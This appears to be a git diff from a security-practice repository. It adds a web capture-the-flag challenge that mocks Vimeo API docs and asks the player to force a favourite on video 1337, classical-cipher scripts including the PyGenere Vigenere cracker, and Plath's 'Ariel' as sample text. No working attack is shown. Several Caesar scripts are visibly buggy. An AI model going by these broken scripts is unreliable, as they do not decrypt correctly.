style="color:rgb(0, 0, 0);margin: 0px; padding: 0px; "><br style="margin: 0px; padding: 0px; "></span><span style="color:rgb(0, 0, 136);margin: 0px; padding: 0px; "></rsp></span></pre>
|
||||
|
||||
<h1>Target</h1>
|
||||
|
||||
Try to get him to favorite the video number 1337!<br>
|
||||
|
||||
<h1>Available APIs</h1>
|
||||
|
||||
<h2 style="text-align:left;">vimeo.test.login</h2>
|
||||
<div style="text-align:left;padding-left:20px;"><div style="text-align:left;padding-left:20px;">Is the user logged in?</div><h3 style="text-align:left;">Returns</h3><div style="text-align:left;"><pre style="text-align:left;border-left-color:rgb(204, 204, 204);background-color: rgb(243, 243, 243); border-width: medium medium medium 2px; border-style: none none none solid; padding: 10px 10px 10px 20px; "><user id="151542">
|
||||
<username>ted</username>
|
||||
</user></pre></div></div>
|
||||
|
||||
<h2 style="text-align:left;">vimeo.videos.setFavorite</h2>
|
||||
<div style="text-align:left;padding-left:20px;"><div style="text-align:left;padding-left:20px;">Set a video as a favorite.</div><h3 style="text-align:left;">Parameters</h3><ul style="text-align:left;">
|
||||
<li style="text-align:left;"><span style="text-align:left;font-style:italic;color:rgb(139, 0, 0);">int</span>
|
||||
<span style="text-align:left;font-weight:bold;">video_id</span>
|
||||
<em style="text-align:left;">(required)</em>
|
||||
- Mark this video as a favorite.</li><li style="text-align:left;"><span style="text-align:left;font-style:italic;color:rgb(139, 0, 0);">boolean</span>
|
||||
<span style="text-align:left;font-weight:bold;">favorite</span>
|
||||
<em style="text-align:left;">(required)</em>
|
||||
- If this is "1", "true" or "yes," we'll set this as a favorite. Otherwise use "0", "false", "no."</li></ul><h3 style="text-align:left;">Returns</h3><div style="text-align:left;">This method returns an empty success response.<pre style="text-align:left;border-left-color:rgb(204, 204, 204);background-color: rgb(243, 243, 243); border-width: medium medium medium 2px; border-style: none none none solid; padding: 10px 10px 10px 20px; "><rsp stat="ok"></rsp></pre>
|
||||
</div></div>
|
|
@ -0,0 +1,2 @@
|
|||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<rsp stat="ok"></rsp>
|
|
@ -0,0 +1,6 @@
|
|||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<rsp stat="ok">
|
||||
<user id="{{ user_id }}">
|
||||
<username>{{ user_name }}</username>
|
||||
</user>
|
||||
</rsp>
|
3
Cryptography/README.md
Normal file
3
Cryptography/README.md
Normal file
|
@ -0,0 +1,3 @@
|
|||
# TOOLS:
|
||||
|
||||
- https://www.cryptool.org/en/cryptool1-en
|
31
Cryptography/RotationCiphers/Ariel_Sylvia_Plath.txt
Normal file
31
Cryptography/RotationCiphers/Ariel_Sylvia_Plath.txt
Normal file
|
@ -0,0 +1,31 @@
|
|||
Stasis in darkness.
|
||||
Then the substanceless blue
|
||||
Pour of tor and distances.
|
||||
God’s lioness,
|
||||
How one we grow,
|
||||
Pivot of heels and knees!—The furrow
|
||||
Splits and passes, sister to
|
||||
The brown arc
|
||||
Of the neck I cannot catch,
|
||||
Nigger-eye
|
||||
Berries cast dark
|
||||
Hooks—
|
||||
Black sweet blood mouthfuls,
|
||||
Shadows.
|
||||
Something else
|
||||
Hauls me through air—
|
||||
Thighs, hair;
|
||||
Flakes from my heels.
|
||||
White
|
||||
Godiva, I unpeel—
|
||||
Dead hands, dead stringencies.
|
||||
And now I
|
||||
Foam to wheat, a glitter of seas.
|
||||
The child’s cry
|
||||
Melts in the wall.
|
||||
And I
|
||||
Am the arrow,
|
||||
The dew that flies
|
||||
Suicidal, at one with the drive
|
||||
Into the red
|
||||
Eye, the cauldron of morning.
|
6
Cryptography/RotationCiphers/README.md
Normal file
6
Cryptography/RotationCiphers/README.md
Normal file
|
@ -0,0 +1,6 @@
|
|||
CryptoAnalysis
|
||||
==============
|
||||
|
||||
* Several implementations of Caesar cipher with frequency analysis.
|
||||
|
||||
* Vinegere code.
|
85
Cryptography/RotationCiphers/caesarCipher.py
Normal file
85
Cryptography/RotationCiphers/caesarCipher.py
Normal file
|
@ -0,0 +1,85 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
|
||||
__author__ = "bt3gl"
|
||||
|
||||
|
||||
import string
|
||||
|
||||
|
||||
FREQ_ENGLISH = [0.0749, 0.0129, 0.0354, 0.0362, 0.1400, 0.0218, 0.0174, 0.0422, 0.0665, 0.0027, 0.0047, 0.0357,
|
||||
0.0339, 0.0674, 0.0737, 0.0243, 0.0026, 0.0614, 0.0695, 0.0985, 0.0300, 0.0116, 0.0169, 0.0028,
|
||||
0.0164, 0.0004]
|
||||
|
||||
|
||||
|
||||
def delta(freq_word, freq_eng):
|
||||
# zip together the value from the text and the value from FREQ_EdiffGlist_freqISH
|
||||
diff = 0.0
|
||||
for a, b in zip(freq_word, freq_eng):
|
||||
diff += abs(a - b)
|
||||
return diff
|
||||
|
||||
|
||||
|
||||
def cipher(msg, key):
|
||||
# Make the cipher
|
||||
dec = ''
|
||||
for c in msg.lower():
|
||||
if 'a' <= c <= 'z':
|
||||
dec += chr(ord('a') + (ord(c) - ord('a') + key) % 26)
|
||||
else:
|
||||
dec += c
|
||||
return dec
|
||||
|
||||
|
||||
|
||||
def frequency(msg):
|
||||
# Compute the word frequencies
|
||||
dict_freq = dict([(c,0) for c in string.lowercase])
|
||||
diff = 0.0
|
||||
for c in msg:
|
||||
if 'a'<= c <= 'z':
|
||||
diff += 1
|
||||
dict_freq[c] += 1
|
||||
list_freq = dict_freq.items()
|
||||
list_freq.sort()
|
||||
return [b / diff for (a, b) in list_freq]
|
||||
|
||||
|
||||
|
||||
def decipher(msg):
|
||||
# Decipher by frequency
|
||||
min_delta = 1000
|
||||
best_rotation = 0
|
||||
freq = frequency(msg)
|
||||
for key in range(26):
|
||||
d = delta(freq, FREQ_ENGLISH)
|
||||
if d < min_delta:
|
||||
min_delta = d
|
||||
best_rotation = key
|
||||
return cipher(msg, -best_rotation)
|
||||
|
||||
|
||||
|
||||
def decipher_simple(msg):
|
||||
# very smart way of solving using translate and maketrans methods
|
||||
diff = (ord('t') - ord(s[0])) % 26
|
||||
x = string.ascii_lowercase
|
||||
x = x[diff:] + x[:diff]
|
||||
ans = string.translate(s,string.maketrans(string.ascii_lowercase,x))
|
||||
return ans
|
||||
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
|
||||
key = 13
|
||||
text = 'hacker school is awesome!'
|
||||
cip = cipher(text, key)
|
||||
dec = decipher(cip)
|
||||
|
||||
print "Cipher: " + cip
|
||||
print "Decipher: " + dec
|
||||
|
||||
assert(text == dec)
|
44
Cryptography/RotationCiphers/cesarCipher_simple.py
Normal file
44
Cryptography/RotationCiphers/cesarCipher_simple.py
Normal file
|
@ -0,0 +1,44 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
|
||||
__author__ = "Mari Wahl"
|
||||
__email__ = "marina.w4hl@gmail.com"
|
||||
|
||||
'''
|
||||
Cesar Ecrypt
|
||||
'''
|
||||
|
||||
import sys
|
||||
|
||||
|
||||
def encrypt(message, k):
|
||||
alphabet = list('abcdefghijklmnopqrstuvwxyz ')
|
||||
cipher = ''
|
||||
for c in message:
|
||||
cipher += alphabet[(alphabet.index(c) + k)%(len(alphabet))]
|
||||
return cipher
|
||||
|
||||
|
||||
def decrypt(message, k):
|
||||
alphabet = list('abcdefghijklmnopqrstuvwxyz ')
|
||||
decipher = ''
|
||||
for c in message:
|
||||
decipher += alphabet[(alphabet.index(c) - k)%(len(alphabet))]
|
||||
return decipher
|
||||
|
||||
|
||||
def main():
|
||||
MESSAGE = list(raw_input('Enter the message to be encrypted: ')) or "all your basis belong to us"
|
||||
k = 13
|
||||
|
||||
encrypted_msg = encrypt(MESSAGE, k)
|
||||
print("Encrypted message: " + encrypted_msg)
|
||||
|
||||
|
||||
decrypted_msg = decrypt(encrypted_msg, k)
|
||||
assert(decrypted_msg == MESSAGE)
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
main()
|
||||
|
51
Cryptography/RotationCiphers/cesarCipher_simple_2.py
Normal file
51
Cryptography/RotationCiphers/cesarCipher_simple_2.py
Normal file
|
@ -0,0 +1,51 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
|
||||
__author__ = "Mari Wahl"
|
||||
__email__ = "marina.w4hl@gmail.com"
|
||||
|
||||
'''
|
||||
Cesar encrypt - better
|
||||
'''
|
||||
|
||||
import sys
|
||||
|
||||
|
||||
def encrypt(message, k):
|
||||
cipher = ''
|
||||
for c in message:
|
||||
c = (ord(c) + k) % 26
|
||||
if c < 32:
|
||||
c += 32
|
||||
cipher += chr(c)
|
||||
return cipher
|
||||
|
||||
|
||||
|
||||
def decrypt(message, k):
|
||||
cipher = ''
|
||||
for c in message:
|
||||
c = (ord(c) - k) % 26
|
||||
if c < 32:
|
||||
c += 126-32
|
||||
cipher += chr(c)
|
||||
return cipher
|
||||
|
||||
|
||||
|
||||
def main():
|
||||
#MESSAGE = list(raw_input('Enter the message to be encrypted: ')) or "all your basis belong to us"
|
||||
MESSAGE = 'jxu qdimuh je jxyi ijqwu yi qdimuhxuhu'
|
||||
for k in range (13, 14):
|
||||
|
||||
#encrypted_msg = encrypt(MESSAGE, k)
|
||||
#print("Encrypted message: " + encrypted_msg)
|
||||
|
||||
|
||||
decrypted_msg = decrypt(MESSAGE, k)
|
||||
print("Decrypted message: " + decrypted_msg)
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
main()
|
||||
|
477
Cryptography/RotationCiphers/pygenere.py
Normal file
477
Cryptography/RotationCiphers/pygenere.py
Normal file
|
@ -0,0 +1,477 @@
|
|||
# PyGenere v 0.3
|
||||
#
|
||||
# Release Date: 2007-02-16
|
||||
# Author: Simon Liu <webmonkey at smurfoncrack dot com>
|
||||
# URL: http://smurfoncrack.com/pygenere
|
||||
# History and License at end of file
|
||||
|
||||
|
||||
r"""
|
||||
This library implements the Caesar and Vigenere ciphers, allowing a piece of
|
||||
plaintext to be encoded using a numeric rotation or an alphabetic keyword,
|
||||
and also decoded if the key/rotation is known.
|
||||
|
||||
In case the key is not known, methods are provided that analyze the ciphertext
|
||||
and attempt to find the original key and decode the message: these work using
|
||||
character frequency analysis. English, French, German, Italian, Portuguese,
|
||||
and Spanish texts are currently supported. Results are generally accurate if
|
||||
the length of the plaintext is long compared to the length of the key used to
|
||||
encipher it.
|
||||
|
||||
Example usage:
|
||||
|
||||
>>> from pygenere import *
|
||||
>>> plaintext = 'Attack at dawn.'
|
||||
>>> key = 3
|
||||
>>> ciphertext = Caesar(plaintext).encipher(key)
|
||||
>>> ciphertext
|
||||
'Dwwdfn dw gdzq.'
|
||||
>>> Vigenere(ciphertext).decipher('D') # A=0, B=1, C=2, D=3, etc.
|
||||
'Attack at dawn.'
|
||||
|
||||
The 'Attack at dawn.' message is too short for the automatic Vigenere decoder
|
||||
to work properly. A way around this is to concatenate copies of the message
|
||||
to itself, increasing the amount of text to analyze:
|
||||
|
||||
>>> VigCrack(ciphertext*5).crack_codeword(1)
|
||||
'D'
|
||||
>>> VigCrack(ciphertext*5).crack_message()
|
||||
'Attack at dawn.Attack at dawn.Attack at dawn.Attack at dawn.Attack at dawn.'
|
||||
|
||||
The crack_message() and crack_codeword() methods in the VigCrack class take 0,
|
||||
1 or 2 arguments. For more information, see the docstrings for those methods.
|
||||
|
||||
Note that this method (repeating the ciphertext) does not always work, but can
|
||||
sometimes be of use, as in the case of the example above.
|
||||
|
||||
Both the encipher() and decipher() methods for Vigenere and Caesar objects
|
||||
return a cipher object of the same type. This makes method chaining possible:
|
||||
|
||||
>>> codeword = 'King'
|
||||
>>> Vigenere(plaintext).encipher(codeword).decipher(codeword)
|
||||
'Attack at dawn.'
|
||||
>>> Caesar(plaintext).encipher(3).decipher(2).decipher(1)
|
||||
'Attack at dawn.'
|
||||
|
||||
Note:
|
||||
|
||||
1. Non-alphabetic input (e.g. " " and "." above) is left as is.
|
||||
2. The case of the input (plaintext/ciphertext) is preserved.
|
||||
3. The case of the key doesn't matter, e.g. 'king', 'KING', and 'KiNg' are
|
||||
identical keys.
|
||||
|
||||
Since each cipher is a subclass of the built-in str class, any cipher object
|
||||
can be treated as a string. For instance:
|
||||
|
||||
>>> Vigenere(plaintext).replace(' ', '').lower()
|
||||
'attackatdawn.'
|
||||
|
||||
However, since Python 2.1 and below don't seem to support subclasses of
|
||||
the str class, Python 2.2 or newer is required to use this library.
|
||||
|
||||
By default, PyGenere assumes that the original plaintext message was written
|
||||
in English, and thus English character frequencies are used for analysis.
|
||||
To change the language, the set_language() method is used. For example, the
|
||||
following code shows a short French string, encrypted with the keyword
|
||||
'FR', decoded. Without setting the language first, an incorrect result is
|
||||
obtained:
|
||||
|
||||
>>> text = 'Non, je ne veux pas coucher avec vous ce soir'
|
||||
>>> encrypted = Vigenere(text).encipher('FR')
|
||||
>>> print VigCrack(encrypted).set_language('FR').crack_codeword(2)
|
||||
FR
|
||||
>>> print VigCrack(encrypted).crack_codeword(2)
|
||||
FS
|
||||
|
||||
This isn't always the case: two languages may have similar enough character
|
||||
frequency distributions that decoding sometimes works correctly even when the
|
||||
language setting is incorrect.
|
||||
|
||||
Currently, PyGenere's language options other than English are DE (German),
|
||||
ES (Spanish), FR (French), IT (Italian), and PT (Portuguese).
|
||||
"""
|
||||
|
||||
|
||||
class Caesar(str):
|
||||
|
||||
"""An implementation of the Caesar cipher."""
|
||||
|
||||
def encipher(self, shift):
|
||||
"""Encipher input (plaintext) using the Caesar cipher and return it
|
||||
(ciphertext)."""
|
||||
ciphertext = []
|
||||
for p in self:
|
||||
if p.isalpha():
|
||||
ciphertext.append(chr((ord(p) - ord('Aa'[int(p.islower())]) +
|
||||
shift) % 26 + ord('Aa'[int(p.islower())])))
|
||||
else:
|
||||
ciphertext.append(p)
|
||||
return Caesar(''.join(ciphertext))
|
||||
|
||||
def decipher(self, shift):
|
||||
"""Decipher input (ciphertext) using the Caesar cipher and return it
|
||||
(plaintext)."""
|
||||
return self.encipher(-shift)
|
||||
|
||||
|
||||
class Vigenere(str):
|
||||
|
||||
"""An implementation of the Vigenere cipher."""
|
||||
|
||||
def encipher(self, key):
|
||||
"""Encipher input (plaintext) using the Vigenere cipher and return
|
||||
it (ciphertext)."""
|
||||
ciphertext = []
|
||||
k = 0
|
||||
n = len(key)
|
||||
for i in range(len(self)):
|
||||
p = self[i]
|
||||
if p.isalpha():
|
||||
ciphertext.append(chr((ord(p) + ord(
|
||||
(key[k % n].upper(), key[k % n].lower())[int(p.islower())]
|
||||
) - 2*ord('Aa'[int(p.islower())])) % 26 +
|
||||
ord('Aa'[int(p.islower())])))
|
||||
k += 1
|
||||
else:
|
||||
ciphertext.append(p)
|
||||
return Vigenere(''.join(ciphertext))
|
||||
|
||||
def decipher(self, key):
|
||||
"""Decipher input (ciphertext) using the Vigenere cipher and return
|
||||
it (plaintext)."""
|
||||
plaintext = []
|
||||
k = 0
|
||||
n = len(key)
|
||||
for i in range(len(self)):
|
||||
c = self[i]
|
||||
if c.isalpha():
|
||||
plaintext.append(chr((ord(c) - ord(
|
||||
(key[k % n].upper(), key[k % n].lower())[int(c.islower())]
|
||||
)) % 26 + ord('Aa'[int(c.islower())])))
|
||||
k += 1
|
||||
else:
|
||||
plaintext.append(c)
|
||||
return Vigenere(''.join(plaintext))
|
||||
|
||||
|
||||
class InputError(Exception):
|
||||
|
||||
"""This class is only used for throwing exceptions if the user supplies
|
||||
invalid input (e.g. ciphertext is an empty string)."""
|
||||
|
||||
pass
|
||||
|
||||
|
||||
class VigCrack(Vigenere):
|
||||
|
||||
"""
|
||||
VigCrack objects have methods to break Vigenere-encoded texts when the
|
||||
original key is unknown.
|
||||
|
||||
The technique used is based on the one described in:
|
||||
|
||||
http://www.stonehill.edu/compsci/Shai_papers/RSA.pdf
|
||||
(pages 9-10)
|
||||
|
||||
Character frequencies taken from:
|
||||
http://www.csm.astate.edu/~rossa/datasec/frequency.html (English)
|
||||
http://www.characterfrequency.com/ (French, Italian, Portuguese, Spanish)
|
||||
http://www.santacruzpl.org/readyref/files/g-l/ltfrqger.shtml (German)
|
||||
"""
|
||||
|
||||
# Unless otherwise specified, test for codewords between (and including)
|
||||
# these two lengths:
|
||||
__default_min_codeword_length = 5
|
||||
__default_max_codeword_length = 9
|
||||
|
||||
# The following are language-specific data on character frequencies.
|
||||
# Kappa is the "index of coincidence" described in the cryptography paper
|
||||
# (link above).
|
||||
__english_data = {
|
||||
'A':8.167, 'B':1.492, 'C':2.782, 'D':4.253, 'E':12.702,
|
||||
'F':2.228, 'G':2.015, 'H':6.094, 'I':6.996, 'J':0.153,
|
||||
'K':0.772, 'L':4.025, 'M':2.406, 'N':6.749, 'O':7.507,
|
||||
'P':1.929, 'Q':0.095, 'R':5.987, 'S':6.327, 'T':9.056,
|
||||
'U':2.758, 'V':0.978, 'W':2.360, 'X':0.150, 'Y':1.974,
|
||||
'Z':0.074, 'max_val':12.702, 'kappa':0.0667
|
||||
}
|
||||
|
||||
__french_data = {
|
||||
'A':8.11, 'B':0.903, 'C':3.49, 'D':4.27, 'E':17.22,
|
||||
'F':1.14, 'G':1.09, 'H':0.769, 'I':7.44, 'J':0.339,
|
||||
'K':0.097, 'L':5.53, 'M':2.89, 'N':7.46, 'O':5.38,
|
||||
'P':3.02, 'Q':0.999, 'R':7.05, 'S':8.04, 'T':6.99,
|
||||
'U':5.65, 'V':1.30, 'W':0.039, 'X':0.435, 'Y':0.271,
|
||||
'Z':0.098, 'max_val':17.22, 'kappa':0.0746
|
||||
}
|
||||
|
||||
__german_data = {
|
||||
'A':6.506, 'B':2.566, 'C':2.837, 'D':5.414, 'E':16.693,
|
||||
'F':2.044, 'G':3.647, 'H':4.064, 'I':7.812, 'J':0.191,
|
||||
'K':1.879, 'L':2.825, 'M':3.005, 'N':9.905, 'O':2.285,
|
||||
'P':0.944, 'Q':0.055, 'R':6.539, 'S':6.765, 'T':6.742,
|
||||
'U':3.703, 'V':1.069, 'W':1.396, 'X':0.022, 'Y':0.032,
|
||||
'Z':1.002, 'max_val':16.693, 'kappa':0.0767
|
||||
}
|
||||
|
||||
__italian_data = {
|
||||
'A':11.30, 'B':0.975, 'C':4.35, 'D':3.80, 'E':11.24,
|
||||
'F':1.09, 'G':1.73, 'H':1.02, 'I':11.57, 'J':0.035,
|
||||
'K':0.078, 'L':6.40, 'M':2.66, 'N':7.29, 'O':9.11,
|
||||
'P':2.89, 'Q':0.391, 'R':6.68, 'S':5.11, 'T':6.76,
|
||||
'U':3.18, 'V':1.52, 'W':0.00, 'X':0.024, 'Y':0.048,
|
||||
'Z':0.958, 'max_val':11.57, 'kappa':0.0733
|
||||
}
|
||||
|
||||
__portuguese_data = {
|
||||
'A':13.89, 'B':0.980, 'C':4.18, 'D':5.24, 'E':12.72,
|
||||
'F':1.01, 'G':1.17, 'H':0.905, 'I':6.70, 'J':0.317,
|
||||
'K':0.0174, 'L':2.76, 'M':4.54, 'N':5.37, 'O':10.90,
|
||||
'P':2.74, 'Q':1.06, 'R':6.67, 'S':7.90, 'T':4.63,
|
||||
'U':4.05, 'V':1.55, 'W':0.0104, 'X':0.272, 'Y':0.0165,
|
||||
'Z':0.400, 'max_val':13.89, 'kappa':0.0745
|
||||
}
|
||||
|
||||
__spanish_data = {
|
||||
'A':12.09, 'B':1.21, 'C':4.20, 'D':4.65, 'E':13.89,
|
||||
'F':0.642, 'G':1.11, 'H':1.13, 'I':6.38, 'J':0.461,
|
||||
'K':0.038, 'L':5.19, 'M':2.86, 'N':7.23, 'O':9.58,
|
||||
'P':2.74, 'Q':1.37, 'R':6.14, 'S':7.43, 'T':4.49,
|
||||
'U':4.53, 'V':1.05, 'W':0.011, 'X':0.124, 'Y':1.14,
|
||||
'Z':0.324, 'max_val':13.89, 'kappa':0.0766
|
||||
}
|
||||
|
||||
# The default language is set to English.
|
||||
__lang = 'EN'
|
||||
__lang_data = __english_data
|
||||
|
||||
# This method sets the lang (__lang) attribute of a VigCrack object.
|
||||
def set_language(self, language):
|
||||
self.__lang = language.upper()
|
||||
if self.__lang == 'DE':
|
||||
self.__lang_data = self.__german_data
|
||||
elif self.__lang == 'ES':
|
||||
self.__lang_data = self.__spanish_data
|
||||
elif self.__lang == 'FR':
|
||||
self.__lang_data = self.__french_data
|
||||
elif self.__lang == 'IT':
|
||||
self.__lang_data = self.__italian_data
|
||||
elif self.__lang == 'PT':
|
||||
self.__lang_data = self.__portuguese_data
|
||||
else:
|
||||
self.__lang = 'EN'
|
||||
return self
|
||||
|
||||
# Rotate text n places to the right, wrapping around at the end.
|
||||
def __rotate_right(self, n):
|
||||
cutting_point = len(self) - (n % len(self))
|
||||
return self[cutting_point:] + self[:cutting_point]
|
||||
|
||||
# Get every nth char from a piece of text, from a given starting position.
|
||||
def __get_every_nth_char(self, start, n):
|
||||
accumulator = []
|
||||
for i in range(len(self)):
|
||||
if (i % n) == start:
|
||||
accumulator.append(self[i])
|
||||
return VigCrack(''.join(accumulator)).set_language(self.__lang)
|
||||
|
||||
# Build a dictionary containing the number of occurrences of each char.
|
||||
def __count_char_freqs(self):
|
||||
dictionary = {}
|
||||
self = self.upper()
|
||||
for char in self:
|
||||
if char.isalpha():
|
||||
dictionary[char] = dictionary.get(char, 0) + 1
|
||||
return dictionary
|
||||
|
||||
# Scale the dictionary so that it can be compared with __lang_data.
|
||||
def __scale(self, dictionary):
|
||||
v = dictionary.values()
|
||||
v.sort()
|
||||
max_val = v[-1]
|
||||
scaling_factor = self.__lang_data['max_val']/max_val
|
||||
for (k, v) in dictionary.items():
|
||||
dictionary[k] = v*scaling_factor
|
||||
return dictionary
|
||||
|
||||
# The residual error is the difference between a char's frequency in
|
||||
# __lang_data and its frequency in the scaled dictionary from above.
|
||||
# The error is then squared to remove a possible negative value.
|
||||
def __sum_residuals_squared(self, dictionary):
|
||||
sum = 0
|
||||
for (k, v) in dictionary.items():
|
||||
sum += (v - self.__lang_data[k])**2
|
||||
return sum
|
||||
|
||||
# Find the Caesar shift that brings the ciphertext closest to the
|
||||
# character distribution of the plaintext's language.
|
||||
def __find_best_caesar_shift(self):
|
||||
best = 0
|
||||
smallest_sum = -1
|
||||
# Find the residual sum for each shift.
|
||||
for shift in range(26):
|
||||
encoded_text = Caesar(self).encipher(shift)
|
||||
vigcrack_obj = VigCrack(encoded_text).set_language(self.__lang)
|
||||
char_freqs = vigcrack_obj.__count_char_freqs()
|
||||
scaled = vigcrack_obj.__scale(char_freqs)
|
||||
current_sum = vigcrack_obj.__sum_residuals_squared(scaled)
|
||||
# Keep track of the shift with the lowest residual sum.
|
||||
# If there's a tie, the smallest shift wins.
|
||||
if smallest_sum == -1:
|
||||
smallest_sum = current_sum
|
||||
if current_sum < smallest_sum:
|
||||
best = shift
|
||||
smallest_sum = current_sum
|
||||
return best
|
||||
|
||||
def __find_codeword_length(self, min_length, max_length):
|
||||
codeword_length = min_length
|
||||
kappas = []
|
||||
# Put the kappa value for each codeword length tested into an array.
|
||||
for i in range(min_length, max_length + 1):
|
||||
temp = self.__rotate_right(i)
|
||||
coincidences = 0
|
||||
for j in range(len(self)):
|
||||
if temp[j] == self[j]:
|
||||
coincidences += 1
|
||||
kappas.append(float(coincidences)/len(self))
|
||||
# Find out which value of kappa is closest to the kappa of the
|
||||
# plaintext's language. If there's a tie, the shortest codeword wins.
|
||||
smallest_squared_diff = -1
|
||||
for i in range((max_length + 1) - min_length):
|
||||
current_squared_diff = (self.__lang_data['kappa'] - kappas[i])**2
|
||||
if smallest_squared_diff == -1:
|
||||
smallest_squared_diff = current_squared_diff
|
||||
if current_squared_diff < smallest_squared_diff:
|
||||
codeword_length = min_length + i
|
||||
smallest_squared_diff = current_squared_diff
|
||||
return codeword_length
|
||||
|
||||
def __find_codeword(self, min_length, max_length):
|
||||
# Strip away invalid chars.
|
||||
accumulator = []
|
||||
for char in self:
|
||||
if char.isalpha():
|
||||
accumulator.append(char)
|
||||
alpha_only = VigCrack(''.join(accumulator)).set_language(self.__lang)
|
||||
codeword_length = alpha_only.__find_codeword_length(min_length,
|
||||
max_length)
|
||||
# Build the codeword by finding one character at a time.
|
||||
codeword = []
|
||||
for i in range(codeword_length):
|
||||
temp = alpha_only.__get_every_nth_char(i, codeword_length)
|
||||
shift = temp.__find_best_caesar_shift()
|
||||
if shift == 0:
|
||||
codeword.append('A')
|
||||
else:
|
||||
codeword.append(chr(ord('A') + (26 - shift)))
|
||||
return VigCrack(''.join(codeword)).set_language(self.__lang)
|
||||
|
||||
def __parse_args(self, *arg_list):
|
||||
if len(arg_list) == 0: # Use default values for codeword length.
|
||||
min_length = self.__default_min_codeword_length
|
||||
max_length = self.__default_max_codeword_length
|
||||
elif len(arg_list) == 1: # Exact codeword length specified by user.
|
||||
min_length = max_length = int(arg_list[0])
|
||||
else: # min_length and max_length given by user.
|
||||
min_length = int(arg_list[0])
|
||||
max_length = int(arg_list[1])
|
||||
# Check for input errors.
|
||||
if min_length == max_length:
|
||||
if min_length < 1:
|
||||
raise InputError('Codeword length is too small')
|
||||
else:
|
||||
if min_length < 1:
|
||||
raise InputError('min_length is too small')
|
||||
if max_length < 1:
|
||||
raise InputError('max_length is too small')
|
||||
if max_length < min_length:
|
||||
raise InputError('max_length cannot be shorter than min_length')
|
||||
if len(self) == 0:
|
||||
raise InputError('Ciphertext is empty')
|
||||
if len(self) < max_length:
|
||||
raise InputError('Ciphertext is too short')
|
||||
# Check that the ciphertext contains at least one valid character.
|
||||
has_valid_char = False
|
||||
for char in self:
|
||||
if char.isalpha():
|
||||
has_valid_char = True
|
||||
break
|
||||
if not has_valid_char:
|
||||
raise InputError('No valid characters in ciphertext')
|
||||
# If everything's all right, return the min_length and max_length.
|
||||
return [min_length, max_length]
|
||||
|
||||
def crack_codeword(self, *arg_list):
|
||||
"""
|
||||
Try to find the codeword that encrypted the ciphertext object.
|
||||
If no arguments are supplied, codewords between the default minimum
|
||||
length and the default maximum length are tried.
|
||||
If one integer argument is supplied, only codewords with that length
|
||||
will be tried.
|
||||
If two integer arguments are given then the first argument is treated
|
||||
as a minimum codeword length, and the second argument is treated as a
|
||||
maximum codeword length, to try.
|
||||
"""
|
||||
array = self.__parse_args(*arg_list)
|
||||
return self.__find_codeword(array[0], array[1])
|
||||
|
||||
def crack_message(self, *arg_list):
|
||||
"""
|
||||
Try to decode the ciphertext object.
|
||||
This method accepts arguments in the same way as the crack_codeword()
|
||||
method.
|
||||
"""
|
||||
codeword = self.crack_codeword(*arg_list)
|
||||
return self.decipher(codeword)
|
||||
|
||||
|
||||
# History
|
||||
# -------
|
||||
#
|
||||
# 2007-02-16: v 0.3. Minor (mostly cosmetic) modifications to make the code
|
||||
# more compliant with the Python Style Guide
|
||||
# (http://www.python.org/dev/peps/pep-0008/).
|
||||
#
|
||||
# 2006-06-11: v 0.2. Language support added for German (DE), Spanish (ES),
|
||||
# French (FR), Italian (IT), and Portuguese (PT).
|
||||
#
|
||||
# 2006-04-29: v 0.1. First release.
|
||||
#
|
||||
#
|
||||
#
|
||||
# License
|
||||
# -------
|
||||
#
|
||||
# Copyright (c) 2006, Simon Liu <webmonkey at smurfoncrack dot com>
|
||||
# All rights reserved.
|
||||
#
|
||||
# This library incorporates code from the PyCipher project on SourceForge.net
|
||||
# (http://sourceforge.net/projects/pycipher/). The original copyright notice
|
||||
# is preserved below as required; these modifications are released under the
|
||||
# same terms.
|
||||
#
|
||||
#
|
||||
# Copyright (c) 2005, Aggelos Orfanakos <csst0266atcsdotuoidotgr>
|
||||
# All rights reserved.
|
||||
#
|
||||
# Redistribution and use in source and binary forms, with or without
|
||||
# modification, are permitted provided that the following conditions are met:
|
||||
#
|
||||
# * Redistributions of source code must retain the above copyright notice, this
|
||||
# list of conditions and the following disclaimer.
|
||||
#
|
||||
# * Redistributions in binary form must reproduce the above copyright notice,
|
||||
# this list of conditions and the following disclaimer in the documentation
|
||||
# and/or other materials provided with the distribution.
|
||||
#
|
||||
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
|
||||
# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
|
||||
# DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE
|
||||
# FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
# DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||
# SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
|
||||
# CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
|
||||
# OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
|
||||
# OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
87
Cryptography/RotationCiphers/taste_like_english.py
Normal file
87
Cryptography/RotationCiphers/taste_like_english.py
Normal file
|
@ -0,0 +1,87 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
__author__ = "Mari Wahl"
|
||||
__email__ = "marina.w4hl@gmail.com"
|
||||
|
||||
'''
|
||||
This program calculate the frequency of letters in a files
|
||||
so we can use this for cryptoanalysis later.
|
||||
|
||||
For example, the 10 most frequent words in english:
|
||||
e -> 0.104
|
||||
t -> 0.072
|
||||
a -> 0.065
|
||||
0 -> 0.059
|
||||
n -> 0.056
|
||||
i -> 0.055
|
||||
s -> 0.051
|
||||
r -> 0.049
|
||||
h -> 0.049
